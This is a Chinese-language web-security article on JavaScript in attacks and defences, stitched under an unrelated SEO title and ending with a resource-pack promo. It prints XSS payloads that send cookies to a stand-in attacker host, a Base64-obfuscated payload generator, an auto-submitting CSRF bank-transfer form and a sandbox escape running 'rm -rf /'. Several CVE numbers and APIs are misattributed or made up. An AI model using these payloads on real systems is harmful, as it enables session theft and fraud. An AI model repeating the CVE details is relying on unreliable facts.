怎么查看一个网站是哪家公司做的网站建设有哪些费用

怎么查看一个网站是哪家公司做的,网站建设有哪些费用,51源码网,html查看器作为 Web 前端的核心编程语言#xff0c;JavaScript#xff08;简称 JS#xff09;支撑了 99% 以上现代网站的交互逻辑 —— 从表单验证、页面渲染到异步数据请求#xff0c;几乎所有客户端动态行为都依赖 JS 实现。其 “浏览器原生支持”“跨平台兼容”“前后端通吃#…作为 Web 前端的核心编程语言JavaScript简称 JS支撑了 99% 以上现代网站的交互逻辑 —— 从表单验证、页面渲染到异步数据请求几乎所有客户端动态行为都依赖 JS 实现。其 “浏览器原生支持”“跨平台兼容”“前后端通吃客户端 JS 服务器端 Node.js” 的特性使其成为全球使用最广泛的脚本语言之一。但这种普及性也让 JS 成为黑客攻击的 “天然载体”一方面浏览器对 JS 的执行权限默认开放为恶意代码注入提供了便利另一方面前端框架、第三方库、Node.js 生态的复杂依赖链也催生了大量可被利用的安全漏洞。从早期的 XSS 攻击到如今的 Node.js 代码执行漏洞JS 贯穿了 Web 安全攻防的全链路理解 JS 在黑客技术中的应用是掌握 Web 安全的核心前提。一、JavaScript 在 Web 攻击中的核心应用场景JS 在 Web 攻击中的价值本质是 “借助其客户端执行能力与 DOM 操作权限突破浏览器安全边界窃取数据或控制终端”。以下四大场景是黑客利用 JS 发起攻击的主要方式覆盖了 80% 以上的 Web 客户端安全事件。1. XSS 攻击以 JS 为核心的客户端代码注入跨站脚本攻击XSS是最典型的 JS 攻击场景其本质是 “攻击者将恶意 JS 代码注入到网页中由浏览器执行后窃取用户数据或劫持会话”。根据代码注入方式的不同XSS 可分为三类每一类都完全依赖 JS 实现攻击链。1存储型 XSS持久化的 JS 恶意代码攻击流程攻击者将恶意 JS 代码如窃取 Cookie 的脚本提交到服务器如评论区、用户资料页服务器存储后在其他用户访问该页面时将代码返回给浏览器浏览器执行 JS 完成攻击。JS 核心作用恶意 JS 代码直接在受害者浏览器中执行可实现 “会话劫持”“键盘记录”“页面篡改” 等功能。典型 Payload 示例// 存储型XSS Payload窃取用户Cookie并发送至攻击者服务器script// 收集Cookie、用户代理信息conststealDatacookie${document.cookie}ua${navigator.userAgent};// 通过隐藏请求将数据发送给攻击者fetch(http://attacker-server.com/steal?stealData,{method:GET,mode:no-cors// 绕过跨域限制});// 同时篡改页面内容诱导用户输入更多信息document.body.innerHTMLh1账户异常请重新登录/h1input typetext placeholder用户名input typepassword placeholder密码button登录/button;/script2反射型 XSSURL 携带的临时 JS 代码攻击流程攻击者构造包含 JS 代码的 URL如http://target.com/search?keyscript恶意代码/script诱导受害者点击后服务器将 URL 中的 JS 代码 “反射” 回浏览器执行。JS 核心作用临时执行恶意代码常用于 “钓鱼攻击”“一次性会话窃取”如诱导用户点击链接后立即获取其登录状态。3DOM 型 XSSJS 操作 DOM 引发的漏洞攻击流程页面 JS 代码直接使用 URL 参数、本地存储等用户可控数据操作 DOM如document.write(location.hash)攻击者通过构造特殊参数如#script恶意代码/script让 JS 执行恶意逻辑。JS 核心作用漏洞根源是 “不安全的 DOM 操作”攻击不依赖服务器存储完全在客户端完成隐蔽性更强。XSS 攻击的危害量级XSS 是 Web 安全中发生率最高的漏洞之一根据 OWASP 2024 年报告XSS 漏洞占所有 Web 漏洞的 34%其危害可覆盖从个人用户数据泄露到企业内网渗透的全场景。2. CSRF 攻击JS 辅助的跨站请求伪造跨站请求伪造CSRF的核心是 “利用用户已登录的会话状态诱导其发起非本意的请求”而 JS 是实现 “自动化请求构造” 的关键工具。攻击原理用户登录 A 网站如银行后会话 Cookie 保存在浏览器中此时若用户访问攻击者控制的 B 网站B 网站的 JS 代码可自动构造 A 网站的请求如转账、修改密码浏览器会自动携带 A 网站的 Cookie导致请求被成功执行。JS 核心作用自动生成表单提交、AJAX 请求无需用户手动操作即可完成攻击。典型攻击代码示例// CSRF攻击自动提交转账请求window.onloadfunction(){// 构造银行转账的表单constformdocument.createElement(form);form.actionhttp://bank.com/transfer;// 目标网站接口form.methodPOST;// 添加转账参数收款人、金额consttoInputdocument.createElement(input);toInput.nametoAccount;toInput.valueattacker-account-123;form.appendChild(toInput);constmoneyInputdocument.createElement(input);moneyInput.nameamount;moneyInput.value10000;form.appendChild(moneyInput);// 隐藏表单并自动提交form.style.displaynone;document.body.appendChild(form);form.submit();};3. CORS 配置不当JS 跨域获取敏感数据跨域资源共享CORS是浏览器的安全机制用于限制 JS 跨域请求的权限。若服务器 CORS 配置宽松如Access-Control-Allow-Origin: *攻击者可利用 JS 跨域获取敏感数据。攻击流程攻击者控制的网站通过 JS 发起跨域请求访问目标服务器的敏感接口如http://target.com/api/user-info因目标服务器 CORS 配置允许所有域名访问浏览器会将用户的敏感数据如个人信息、权限令牌返回给攻击者的 JS 代码JS 将数据发送至攻击者服务器完成数据窃取。JS 核心作用作为跨域请求的发起者和数据接收者直接突破浏览器的 “同源策略” 限制同源策略本应禁止跨域获取数据。4. DOM 型漏洞JS 操作引发的客户端安全风险除 DOM XSS 外JS 在操作 DOM、BOM浏览器对象模型时还可能引发其他漏洞如 “路径遍历”“本地文件读取” 等这些漏洞虽不依赖服务器但其危害同样严重。典型案例DOM 路径遍历漏洞页面 JS 通过location.hash获取用户输入的文件路径并通过document.getElementById(file-content).innerText loadFile(hashValue)读取本地文件。若loadFile函数未过滤../等特殊字符攻击者可构造#../../etc/passwdLinux或#../../windows/system32/drivers/etc/hostsWindows让 JS 读取本地敏感文件。漏洞根源JS 对用户可控数据的 “未过滤处理”导致攻击者可篡改操作对象如文件路径、DOM 节点。二、JavaScript 在漏洞利用中的关键作用除了直接发起 Web 攻击JS 还在 “框架漏洞”“第三方库漏洞”“服务器端漏洞” 的利用中扮演核心角色尤其是 Node.js 生态的普及让 JS 的攻击面从客户端延伸到了服务器端。1. 前端框架漏洞Vue/React 的 JS 生态风险主流前端框架Vue、React、Angular虽内置安全机制但仍存在可被利用的 JS 相关漏洞典型场景包括1Vue.js 模板注入漏洞CVE-2021-26295漏洞原理Vue 的v-html指令或template选项若接收用户可控数据且未做过滤攻击者可注入包含 JS 的模板代码如script标签、{{}}表达式导致 JS 执行。利用方式攻击者构造http://vue-app.com/#templatescriptalert(document.cookie)/script/templateVue 渲染模板时会执行恶意 JS。2React DOM XSS 漏洞旧版本漏洞原理React 的dangerouslySetInnerHTML属性若直接接收用户输入会绕过 React 的 XSS 过滤机制导致恶意 JS 执行。JS 核心作用框架漏洞的利用最终都依赖 JS 代码的执行框架本身的安全机制失效后JS 成为攻击的 “最后一环”。2. 第三方库漏洞jQuery 等组件的安全隐患前端项目普遍依赖第三方 JS 库如 jQuery、Lodash、Bootstrap这些库的漏洞可被直接用于攻击其中 “原型污染”“XSS” 是最常见的类型。1jQuery 旧版本 XSS 漏洞CVE-2019-11358漏洞范围jQuery 3.4.0 及之前版本漏洞原理jQuery.html()函数在解析 HTML 时若包含script标签且标签内有//注释会导致 JS 代码被执行如script//![CDATA[alert(1)//]]/script利用方式攻击者在用户可控数据中注入上述代码页面调用jQuery.html()渲染时会执行恶意 JS。2Lodash 原型污染漏洞CVE-2019-10744漏洞原理Lodash 的merge、defaultsDeep等函数未过滤__proto__原型链属性攻击者可通过注入{__proto__:{toString:恶意JS}}篡改对象原型导致所有对象的toString方法被替换为恶意 JS。危害若服务器端 Node.js 项目使用存在漏洞的 Lodash 版本攻击者可通过该漏洞执行 JS 代码进而控制服务器。3. Node.js 服务器端漏洞JS 运行时的攻击面Node.js 让 JS 可用于服务器端开发但也带来了新的安全风险 ——JS 在服务器端可操作文件系统、执行系统命令一旦存在漏洞危害远大于客户端攻击。1Node.js 路径遍历漏洞典型场景漏洞原理服务器端 JS 代码通过req.query.path获取用户输入的文件路径并通过fs.readFile(path, (err, data) {})读取文件。若未过滤../攻击者可构造/read?path../../etc/passwd让 JS 读取服务器敏感文件。JS 核心作用作为文件操作的发起者JS 直接与服务器文件系统交互未过滤的用户输入导致 “越权访问”。2Node.js 代码执行漏洞CVE-2022-25883漏洞原理Node.js 的vm模块沙箱模块在某些场景下可被突破攻击者通过构造特殊的 JS 代码如this.constructor.constructor(return process)()可获取process对象进而执行系统命令如process.exec(rm -rf /)。危害完全控制服务器实现 “远程代码执行RCE”这是服务器端最严重的漏洞类型之一。三、JavaScript 在攻击工具开发中的实践黑客不仅利用 JS 发起攻击还会基于 JS 开发自动化攻击工具降低攻击门槛、提高攻击效率。这些工具主要分为 “客户端脚本”“浏览器插件”“Node.js 自动化工具” 三类。1. 客户端攻击脚本XSS Payload 与 DOM 扫描工具攻击者会编写通用的 JS 脚本用于快速发起攻击或检测漏洞典型工具包括1XSS Payload 生成器功能自动生成适配不同场景的 XSS Payload如绕过 WAF 的编码 Payload、支持 HTTPS 的窃取脚本JS 核心逻辑通过字符串拼接、编码转换如 URL 编码、Base64 编码生成可执行的恶意代码示例// 简易XSS Payload生成器functiongenerateXSSPayload(attackerServer){// 对Payload进行Base64编码绕过简单WAFconstbase64Scriptbtoa(fetch(${attackerServer}?cookiedocument.cookie));// 返回编码后的Payloadreturnscripteval(atob(${base64Script}))/script;}// 使用生成指向攻击者服务器的PayloadconstpayloadgenerateXSSPayload(http://attacker.com/steal);console.log(payload);// 输出scripteval(atob(ZmV0Y2goJ2h0dHA6Ly9hdHRhY2tlci5jb20vc3RlYWw/...))/script2DOM 漏洞扫描脚本功能自动检测页面中的 DOM XSS、路径遍历等漏洞通过注入测试参数如scripttest/script、../并检测是否执行JS 核心逻辑遍历页面中所有使用用户可控数据URL 参数、localStorage的 DOM 操作函数注入测试数据并判断是否触发漏洞。2. 浏览器插件攻击JS 驱动的恶意扩展浏览器插件如 Chrome 扩展、Firefox 附加组件以 JS 为核心开发语言攻击者可开发恶意插件实现 “持久化监控”“全页面劫持” 等功能典型功能监控用户所有网页的表单输入通过 JS 监听input事件窃取账号密码篡改页面内容如替换电商网站的支付链接为攻击者链接自动点击页面按钮如诱导用户关注恶意账号、下载恶意软件。隐蔽性插件获取用户授权后可长期驻留浏览器JS 代码在后台持续执行不易被察觉。3. Node.js 自动化攻击工具批量漏洞检测与利用基于 Node.js 的跨平台特性攻击者可开发批量攻击工具用于 “漏洞扫描”“批量渗透”1批量 XSS 漏洞扫描工具功能输入目标网站列表工具通过 Node.js 的request库发送包含 XSS 测试 Payload 的请求检测页面是否返回并执行 PayloadJS 核心逻辑constrequestrequire(request);consttargets[http://target1.com,http://target2.com];// 目标列表consttestPayloadscriptalert(xss-test)/script;// 测试Payload// 批量扫描每个目标targets.forEach(target{consttestUrl${target}/search?key${encodeURIComponent(testPayload)};request(testUrl,(err,res,body){// 若页面返回中包含Payload说明可能存在XSS漏洞if(body.includes(testPayload)){console.log([] 发现XSS漏洞${testUrl});}});});2Node.js 漏洞利用框架功能集成多种 Node.js 漏洞的利用脚本如路径遍历、代码执行支持批量攻击服务器典型案例node-exploit-framework内置 20 种 Node.js 漏洞的利用模块攻击者只需输入目标 IP 和端口即可自动尝试漏洞利用。四、针对 JavaScript 攻击的防御策略JS 的攻击风险并非不可控针对上述场景可从 “客户端安全”“服务器端配置”“开发规范” 三个维度建立防御体系以下是关键防御措施1. XSS 防御阻断恶意 JS 执行1输入过滤与输出编码服务器端对用户输入的特殊字符如、、、进行转义如转义为客户端使用textContent替代innerHTML、document.write等危险 DOM 操作textContent不会解析 HTML仅渲染文本。2Content-Security-PolicyCSP通过 HTTP 响应头配置 CSP限制 JS 的执行源如仅允许加载自家域名和可信 CDN 的 JS示例Content-Security-Policy: default-src self; // 默认仅允许同源资源 script-src self https://cdn.trusted.com; // 仅允许同源和可信CDN的JS style-src self; img-src self data:; object-src none; // 禁止加载插件如FlashCSP 可直接阻断未授权的 JS 执行是防御 XSS 的最有效手段之一。3使用 HttpOnly Cookie为敏感 Cookie如会话 Cookie添加HttpOnly属性禁止 JS 通过document.cookie获取 Cookie从根源上阻止 XSS 窃取会话。2. CSRF 防御验证请求合法性1添加 CSRF Token服务器为每个登录用户生成唯一的 CSRF Token嵌入表单或 AJAX 请求中客户端提交请求时需携带 Token服务器验证 Token 有效性防止未授权请求。2检查 Referer/Origin 头服务器验证请求的Referer请求来源页面或Origin请求来源域名仅允许可信域名的请求如Referer: http://target.com。3. Node.js 服务器端防御1过滤用户可控数据对req.query、req.body等用户输入的路径、参数进行严格过滤禁止../、\等特殊字符防止路径遍历使用path.resolve()或path.join()等安全函数处理文件路径示例constpathrequire(path);constsafePathpath.resolve(__dirname,public,req.query.path);// 限制路径在public目录内// 检查safePath是否在public目录内防止越权if(!safePath.startsWith(path.resolve(__dirname,public))){returnres.status(403).send(非法路径);}2管理依赖包安全使用npm audit或snyk工具定期扫描 Node.js 依赖包的漏洞及时更新存在风险的库如 Lodash、jQuery避免使用来源不明的第三方库减少漏洞引入风险。3限制 JS 执行权限禁用 Node.js 的危险 API如process.exec、child_process或通过沙箱模块如isolated-vm比原生vm更安全限制 JS 的执行权限防止代码执行漏洞。4. 前端框架与库防御1使用最新版本框架及时更新 Vue、React 等框架到最新安全版本修复已知漏洞如 Vue 的模板注入、React 的dangerouslySetInnerHTML风险2谨慎使用危险 API避免使用v-htmlVue、dangerouslySetInnerHTMLReact等绕过框架安全机制的 API若必须使用需对输入进行严格过滤。结语JavaScript 安全的攻防平衡JavaScript 本身并非 “不安全的语言”其在黑客技术中的广泛应用本质是 “普及性” 与 “功能灵活性” 的副产品 —— 正因为 JS 能深度操控客户端与服务器端它才既是 Web 开发的核心工具也是黑客攻击的核心载体。对于开发者而言理解 JS 的安全风险不是 “要放弃 JS”而是 “要更懂 JS”既要掌握 JS 的强大功能也要清楚其安全边界通过 “输入过滤”“权限控制”“实时监控” 等手段阻断攻击路径对于安全研究者而言JS 的攻击场景仍在不断演化如 WebAssembly 与 JS 的结合、AI 驱动的 JS 攻击脚本持续探索 JS 的安全攻防是 Web 安全领域的永恒课题。最终JS 的安全平衡需要 “开发规范”“技术防御”“人员意识” 三者结合 —— 只有让安全融入 JS 开发的全流程才能真正发挥 JS 的价值同时规避其风险。附录JavaScript 攻击场景与防御措施对应表攻击场景核心 JS 作用防御措施存储型 XSS持久化执行恶意代码CSP、HttpOnly Cookie、输入输出编码反射型 XSS临时执行恶意代码CSP、URL 参数过滤DOM 型 XSS不安全 DOM 操作引发漏洞禁用危险 DOM API如 innerHTML、输入过滤CSRF自动构造跨站请求CSRF Token、Referer/Origin 验证CORS 配置不当跨域获取敏感数据严格配置 Access-Control-Allow-OriginNode.js 路径遍历操作服务器文件系统路径过滤、使用 path.resolve ()Node.js 代码执行突破沙箱执行系统命令禁用危险 API、使用安全沙箱模块isolated-vm前端框架漏洞Vue/React利用框架 API 执行恶意代码更新框架到最新版本、禁用危险 API网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取